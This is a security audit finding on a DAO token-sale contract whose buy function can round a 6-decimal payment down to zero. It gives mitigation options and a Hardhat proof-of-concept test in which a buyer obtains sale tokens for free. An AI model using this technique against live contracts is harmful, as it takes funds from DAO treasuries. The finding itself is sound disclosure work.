`TokenSaleProposal::buy` implicitly assumes that buy token has 18 decimals resulting in a potential total loss scenario for Dao Pool
`TokenSaleProposalBuy::buy` is called by users looking to buy the DAO token using a pre-approved token. The exchange rate for this sale is pre-assigned for the specific tier. This function internally calls `TokenSaleProposalBuy::_purchaseWithCommission` to transfer funds from the buyer to the gov pool. Part of the transferred funds are used to pay the DexeDAO commission and balance funds are transferred to the `GovPool` address. To do this, `TokenSaleProposalBuy::_sendFunds` is called.\\n```\\n    function _sendFunds(address token, address to, uint256 amount) internal {\\n        if (token == ETHEREUM_ADDRESS) {\\n            (bool success, ) = to.call{value: amount}("");\\n            require(success, "TSP: failed to transfer ether");\\n        } else {\\n            IERC20(token).safeTransferFrom(msg.sender, to, amount.from18(token.decimals())); //@audit -> amount is assumed to be 18 decimals\\n        }\\n    }\\n```\\n\\nNote that this function assumes that the `amount` of ERC20 token is always 18 decimals. The `DecimalsConverter::from18` function converts from a base decimal (18) to token decimals. Note that the `amount` is directly passed by the buyer and there is no prior normalisation done to ensure the token decimals are converted to 18 decimals before the `_sendFunds` is called.
There are at least 2 options for mitigating this issue:\\nOption 1 - revise the design decision that all token amounts must be sent in 18 decimals even if the underlying token decimals are not 18, to instead that all token amounts should be sent in their native decimals and Dexe will convert everything.\\nOption 2 - keep current design but revert if `amount.from18(token.decimals()) == 0` in L90 or alternatively use the `from18Safe()` function which uses `_convertSafe()` that reverts if the conversion is 0.\\nThe project team should also examine other areas where the same pattern occurs which may have the same vulnerability and where it may be required to revert if the conversion returns 0:\\n`GovUserKeeper` L92, L116, L183\\n`GovPool` L248\\n`TokenSaleProposalWhitelist` L50\\n`ERC721Power` L113, L139\\n`TokenBalance` L35, L62
It is easy to see that for tokens with smaller decimals, eg. USDC with 6 decimals, will cause a total loss to the DAO. In such cases amount is presumed to be 18 decimals & on converting to token decimals(6), this number can round down to 0.\\nProof of Concept:\\nTier 1 allows users to buy DAO token at exchange rate, 1 DAO token = 1 USDC.\\nUser intends to buy 1000 Dao Tokens and calls `TokenSaleProposal::buy` with `buy(1, USDC, 1000*10**6)\\nDexe DAO Comission is assumed 0% for simplicity- > `sendFunds` is called with `sendFunds(USDC, govPool, 1000* 10**6)`\\n`DecimalConverter::from18` function is called on amount with base decimals 18, destination decimals 6: `from18(1000*10**6, 18, 6)`\\nthis gives `1000*10**6/10*(18-6) = 1000/ 10**6` which rounds to 0\\nBuyer can claim 1000 DAO tokens for free. This is a total loss to the DAO.\\nAdd PoC to TokenSaleProposal.test.js:\\nFirst add a new line around L76 to add new purchaseToken3:\\n```\\n      let purchaseToken3;\\n```\\n\\nThen add a new line around L528:\\n```\\n      purchaseToken3 = await ERC20Mock.new("PurchaseMockedToken3", "PMT3", 6);\\n```\\n\\nThen add a new tier around L712:\\n```\\n        {\\n          metadata: {\\n            name: "tier 9",\\n            description: "the ninth tier",\\n          },\\n          totalTokenProvided: wei(1000),\\n          saleStartTime: timeNow.toString(),\\n          saleEndTime: (timeNow + 10000).toString(),\\n          claimLockDuration: "0",\\n          saleTokenAddress: saleToken.address,\\n          purchaseTokenAddresses: [purchaseToken3.address],\\n          exchangeRates: [PRECISION.times(1).toFixed()],\\n          minAllocationPerUser: 0,\\n          maxAllocationPerUser: 0,\\n          vestingSettings: {\\n            vestingPercentage: "0",\\n            vestingDuration: "0",\\n            cliffPeriod: "0",\\n            unlockStep: "0",\\n          },\\n          participationDetails: [],\\n        },\\n```\\n\\nThen add the test itself under the section describe("if added to whitelist", () => {:\\n```\\n          it("audit buy implicitly assumes that buy token has 18 decimals resulting in loss to DAO", async () => {\\n            await purchaseToken3.approve(tsp.address, wei(1000));\\n\\n            // tier9 has the following parameters:\\n            // totalTokenProvided   : wei(1000)\\n            // minAllocationPerUser : 0 (no min)\\n            // maxAllocationPerUser : 0 (no max)\\n            // exchangeRate         : 1 sale token for every 1 purchaseToken\\n            //\\n            // purchaseToken3 has 6 decimal places\\n            //\\n            // mint purchase tokens to owner 1000 in 6 decimal places\\n            //                        1000 000000\\n            let buyerInitTokens6Dec = 1000000000;\\n\\n            await purchaseToken3.mint(OWNER, buyerInitTokens6Dec);\\n            await purchaseToken3.approve(tsp.address, buyerInitTokens6Dec, { from: OWNER });\\n\\n            //\\n            // start: buyer has bought no tokens\\n            let TIER9 = 9;\\n            let purchaseView = userViewsToObjects(await tsp.getUserViews(OWNER, [TIER9]))[0].purchaseView;\\n            assert.equal(purchaseView.claimTotalAmount, wei(0));\\n\\n            // buyer attempts to purchase using 100 purchaseToken3 tokens\\n            // purchaseToken3 has 6 decimals but all inputs to Dexe should be in\\n            // 18 decimals, so buyer formats input amount to 18 decimals\\n            // doing this first to verify it works correctly\\n            let buyInput18Dec = wei("100");\\n            await tsp.buy(TIER9, purchaseToken3.address, buyInput18Dec);\\n\\n            // buyer has bought wei(100) sale tokens\\n            purchaseView = userViewsToObjects(await tsp.getUserViews(OWNER, [TIER9]))[0].purchaseView;\\n            assert.equal(purchaseView.claimTotalAmount, buyInput18Dec);\\n\\n            // buyer has 900 000000 remaining purchaseToken3 tokens\\n            assert.equal((await purchaseToken3.balanceOf(OWNER)).toFixed(), "900000000");\\n\\n            // next buyer attempts to purchase using 100 purchaseToken3 tokens\\n            // but sends input formatted into native 6 decimals\\n            // sends 6 decimal input: 100 000000\\n            let buyInput6Dec = 100000000;\\n            await tsp.buy(TIER9, purchaseToken3.address, buyInput6Dec);\\n\\n            // buyer has bought an additional 100000000 sale tokens\\n            purchaseView = userViewsToObjects(await tsp.getUserViews(OWNER, [TIER9]))[0].purchaseView;\\n            assert.equal(purchaseView.claimTotalAmount, "100000000000100000000");\\n\\n            // but the buyer still has 900 000000 remaining purchasetoken3 tokens\\n            assert.equal((await purchaseToken3.balanceOf(OWNER)).toFixed(), "900000000");\\n\\n            // by sending the input amount formatted to 6 decimal places,\\n            // the buyer was able to buy small amounts of the token being sold\\n            // for free!\\n          });\\n```\\n\\nFinally run the test with: `npx hardhat test --grep "audit buy implicitly assumes that buy token has 18 decimals resulting in loss to DAO"`
```\\n    function _sendFunds(address token, address to, uint256 amount) internal {\\n        if (token == ETHEREUM_ADDRESS) {\\n            (bool success, ) = to.call{value: amount}("");\\n            require(success, "TSP: failed to transfer ether");\\n        } else {\\n            IERC20(token).safeTransferFrom(msg.sender, to, amount.from18(token.decimals())); //@audit -> amount is assumed to be 18 decimals\\n        }\\n    }\\n```\\n